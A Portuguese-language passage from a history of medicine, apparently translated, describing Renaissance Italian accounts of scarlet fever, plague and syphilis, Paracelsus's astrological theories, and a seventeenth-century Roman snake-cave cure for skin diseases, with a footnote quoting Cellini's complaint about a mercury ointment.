A febre escarlatina, que assolou a Itália em 1505 e reapareceu muitas vezes foi primeiro descrita com exatidão por Jerônimo Cardan; vários outros se ocuparam dela posteriormente, e com especialidade Fracastor, Massa e André Treviso. Outros se ocuparam da tosse convulsa, do escorbuto que se tinha propagado, e do mal venéreo a que Berangário, de Carpi, foi o primeiro a opor o mercúrio (1). A convulsão foi distin guida como uma moléstia particular. As ocasiões de observar a peste bubônica foram de sobra freqüentes: porém as causas que lhe foram determinadas provoca

(1) Benvenuto Cellini o maltrata, exprimindo-se assim a se respeito: "Êle emporcalhou com uma untura de sua invenção alií1 mas dezenas de senhores e de pobres gentis-homens, dos quais receb alguns milhares de ducados… Ora, há hoje em Roma uma quantidu de infelizes por êle untados, estropiados e reduzidos a triste estado".

riam riso, se o nosso século não houvesse ensinado, ressuscitando-as, a sermos indulgentes. Bastará dizer que a maioria explicava o contágio, mediante a vontade imediata de Deus. Paracelso distingue a peste em natural e sobrenatural, isto é, proveniente dos astros e sobretudo de Saturno, devorador de crianças. Empregava-se ainda em Roma no décimo-sétimo século, contra a lepra e outras moléstias cutâneas, o remédio seguinte. Depois de terem purgado o doente, introduziam-no numa gruta cheia de serpentes, próxima de Bracciano; a temperatura mais elevada o fazia logo entrar em transpiração, e êle adormecia estendido no chão numa nudez completa. Os reptis, atraídos pela exalação do suor, saíam de seus buracos aos centos, e, enroscándose em volta do corpo, o lambiam brandamente sem lhe fazerem mal algum. Como o menor movimento as afugentaria, tinham o cuidado de administrar ao doente um soporífero. Êle era tirado da gruta no fim de três ou quatro horas, e continuava-se assim até à cura, que não se fazia esperar muito tempo.

 

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